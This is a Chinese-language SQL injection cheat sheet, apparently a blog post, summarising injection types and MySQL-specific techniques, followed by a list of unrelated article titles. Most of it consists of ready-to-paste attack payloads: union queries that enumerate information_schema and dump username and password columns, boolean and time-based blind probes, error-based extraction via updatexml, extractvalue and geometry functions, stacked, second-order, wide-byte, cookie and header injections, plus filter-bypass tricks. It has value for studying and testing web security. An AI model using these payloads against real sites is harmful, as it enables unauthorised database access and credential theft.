0x01 什么是SQL注入

sql注入就是一种通过操作输入来修改后台操作语句达到执行恶意sql语句来进行攻击的技术。

0x02 SQL注入的分类

按变量类型分

数字型

字符型

按HTTP提交方式分

GET注入

POST注入

Cookie注入

按注入方式分

报错注入

盲注

布尔盲注

时间盲注

union注入

编码问题

宽字节注入

0x03识别后台数据库

根据操作系统平台

sql server:Windows(IIS)

MySQL:Apache

根据web语言

Microsoft SQL Server:ASP和.Net

MySQL:PHP

Oracle/MySQL:java

(以下是对mysql数据库的总结,其他类型数据库会不定时更新)

0x04 MySQL 5.0以上和MySQL 5.0以下版本的区别

MySQL 5.0以上版本存在一个存储着数据库信息的信息数据库--INFORMATION_SCHEMA ,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。 而5.0以下没有。

information_schema

系统数据库,记录当前数据库的数据库,表,列,用户权限等信息

SCHEMATA

储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等

TABLES

储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等

COLUMNS

储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等

0x05 基本手工注入流程

要从select语句中获得有用的信息,必须确定该数据库中的字段数和那个字段能够输出,这是前提。

1. MySQL >= 5.0

(1)获取字段数

order by n /*通过不断尝试改变n的值来观察页面反应确定字段数*/

(2)获取系统数据库名

在MySQL >5.0中,数据库名存放在information_schema数据库下schemata表schema_name字段中

select null,null,schema_name from information_schema.schemata

(3)获取当前数据库名

select null,null,...,database()

(4)获取数据库中的表

select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()

select null,null,...,table_name from information_schema.tables where table_schema=database() limit 0,1

(5)获取表中的字段

这里假设已经获取到表名为user

select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

(6)获取各个字段值

这里假设已经获取到表名为user,且字段为username和password

select null,group_concat(username,password) from users

2.MySQL < 5.0

MySQL < 5.0 没有信息数据库information_schema,所以只能手工枚举爆破(二分法思想)。

该方式通常用于盲注。

相关函数

length(str) :返回字符串str的长度

substr(str, pos, len) :将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始

mid(str,pos,len) :跟上面的一样,截取字符串

ascii(str) :返回字符串str的最左面字符的ASCII代码值

ord(str) :将字符或布尔类型转成ascll码

if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

(1)基于布尔的盲注

and ascii(substr((select database()),1,1))>64 /*判断数据库名的第一个字符的ascii值是否大于64*/

(2)基于时间的盲注

id=1 union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null /*提取用户名前四个字符做判断,正确就延迟4秒,错误返回1*/

0x06 常用注入方式

注释符:

#

-- (有空格)或--+

/**/

内联注释:

/*!...*/

union注入

id =-1 union select 1,2,3 /*获取字段*/

Boolean注入

id=1' substr(database(),1,1)='t'--+ /*判断数据名长度*/

报错注入

1 floor()和rand()

union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a /*利用错误信息得到当前数据库名*/

2 extractvalue()

id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

3 updatexml()

id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

4 geometrycollection()

id=1 and geometrycollection((select * from(select * from(select user())a)b))

5 multipoint()

id=1 and multipoint((select * from(select * from(select user())a)b))

6 polygon()

id=1 and polygon((select * from(select * from(select user())a)b))

7 multipolygon()

id=1 and multipolygon((select * from(select * from(select user())a)b))

8 linestring()

id=1 and linestring((select * from(select * from(select user())a)b))

9 multilinestring()

id=1 and multilinestring((select * from(select * from(select user())a)b))

10 exp()

id=1 and exp(~(select * from(select user())a))

时间注入

id = 1 and if(length(database())>1,sleep(5),1)

堆叠查询注入

id = 1';select if(sub(user(),1,1)='r',sleep(3),1)%23

二次注入

假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册username=test',接下来访问xxx.php?username=test',页面返回id=22;

接下来再次发起请求xxx.php?id=22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。

访问xxx.php?id=test' union select 1,user(),3%23,获得新的id=40,得到user()的结果,利用这种注入方式会得到数据库中的值。

宽字节注入

利用条件:

[ ] 查询参数是被单引号包围的,传入的单引号又被转义符()转义,如在后台数据库中对接受的参数使用addslashes()或其过滤函数

[ ] 数据库的编码为GBK

利用方式

id = -1%DF' union select 1,user(),3,%23

在上述条件下,单引号'被转义为%5c,所以就构成了%df%5c,而在GBK编码方式下,%df%5c是一个繁体字“連”,所以单引号成功逃逸。

Cookie注入

当发现在url中没有请求参数,单数却能得到结果的时候,可以看看请求参数是不是在cookie中,然后利用常规注入方式在cookie中注入测试即可,只是注入的位置在cookie中,与url中的注入没有区别。

Cookie: id = 1 and 1=1

base64注入

对参数进行base64编码,再发送请求。

说明:id=1',1的base64编码为MSc=,而=的url编码为%3d,所以得到以下结果:

id=MSc%3d

XFF注入

XFF(X-Forward-For),简称XFF头,它代表客户端真实的ip地址

X-Forward-For:127.0.0.1' select 1,2,user()

0x07 SQL注入绕过技术

大小写绕过

双写绕过

编码绕过(url全编码、十六进制)

内联注释绕过

关键字替换

逗号绕过

substr、mid()函数中可以利用from to来摆脱对逗号的利用;

limit中可以利用offset来摆脱对逗号的利用

比较符号( >、< )绕过(greatest、between and)

逻辑符号的替换(and=&& or=|| xor=| not=!)

空格绕过(用括号,+等绕过)

等价函数绕过

hex()、bin()=ascii()

concat_ws()=group_concat()

mid()、substr()=substring()

http参数污染(id=1 union select+1,2,3+from+users+where+id=1–变为id=1 union select+1&id=2,3+from+users+where+id=1–)

缓冲区溢出绕过 (id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36–+ 其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好。。一般会存在临界值,其实这种方法还对后缀名的绕过也有用)

mysql手工注入imformation_SQL 注入总结相关推荐

  1. mysql 数值型注入_SQL注入之PHP-MySQL实现手工注入-数字型

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎 ...

  2. mysql 4.0手工注入_手工注入——MySQL手工注入实战和分析

    前言 今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 查 ...

  3. mysql报错注入实战_手工注入——MySQL手工注入实战和分析

    今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...

  4. SQL注入第二章节MYSQL手工注入

    SQL注入第二章节MYSQL手工注入 2.1 SQL注入之sqli-labs环境搭建 一.SQLi-Labs是什么? SQLi-Labs是一个专业的SQL注入练习平台,适用于GET和POST场景,包含 ...

  5. php手工注入语句,PHP+MySQL 手工注入语句大全

    我PHP手工太菜了, 无奈只能补下PHP MYSQL手工注射,把收集总结的资料分享下. 暴字段长度 Order by num/* 匹配字段 and 1=1 union select 1,2,3,4,5 ...

  6. mysql手工注入——盲注

    一 . 可以查看有几个数据库 命令如下 ' and (select count(*) from information_schema.schemata limit 0,1)=6 --+ 证明有6个数据 ...

  7. PHP+MySQL 手工注入语句大全 推荐

    2019独角兽企业重金招聘Python工程师标准>>> 我PHP手工太菜了, 无奈只能补下PHP MYSQL手工注射,把收集总结的资料分享下. 暴字段长度 Order by num/ ...

  8. mysql union as 注入_sql注入入门 之 mysql 常规注入 [ union方式 ]

    1,常规数字型 mysql 实例注入点,如下:1https://www.vuln.com/md_materia_profile_view.php?viewid=2 2,依旧先尝试下经典的单引号,如下, ...

  9. 手工检测SQL注入漏洞

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...

最新文章

  1. linux 条件判断
  2. Winform程序窗体间的跳转
  3. CentOS安装Java JDK
  4. C++11 新的计时方法——std::chrono 大法好
  5. 微软SQL Server 2012新特性Silverlight报表客户端 - Power View
  6. 现在五年期定期利率在五以上的银行有哪些?
  7. 【毕业答辩】别小看毕业答辩PPT,它和你的论文一样重要
  8. Spring Boot Web相关配置
  9. iOS:segment对齐原则
  10. NOI(OJ)编程基础篇
  11. PHP 每小时抽奖,项目3:PHP抽奖程序 ,抽奖规则代码 分时间段
  12. 数学基础(5)凸优化、最优化理论基础
  13. 计网 | 链路层协议及大题解构
  14. 阿里云智能身份证OCR文字识别
  15. 7-1 厘米换算英尺英寸 (15 分)
  16. 斯泰因梅茨-电路向量法的创始人
  17. Hadoop面试题和答案
  18. 中国资源卫星应用中心新版数据服务平台介绍
  19. android系统应用程序设置时间,Android应用程序设置系统时间的方法
  20. 什么是「区块链技术」、区块链又是什么?

热门文章

  1. STM32 EXTI外部中断/事件
  2. 机床设备液压系统比例放大器|伺服液压设备系统比例控制器
  3. Machine Learning in Action 读书笔记---第8章 预测数值型数据:回归
  4. 超简单超详细的装win和ubuntu双系统基于anaconda、pycharm一句命令配置tensorflow、pytorch、opencv,keras,caffe,mxnet
  5. C4D模型工具—焊接
  6. 最通俗易懂的魔方阵C语言实现
  7. php json语法错误,在PHP json_decode()中检测到错误的json数据?
  8. 最小路径覆盖详解 超级详细(附带例题 Stock Charts(给了题目))
  9. Word无格式粘贴快捷键
  10. mysql表分区的使用和底层原理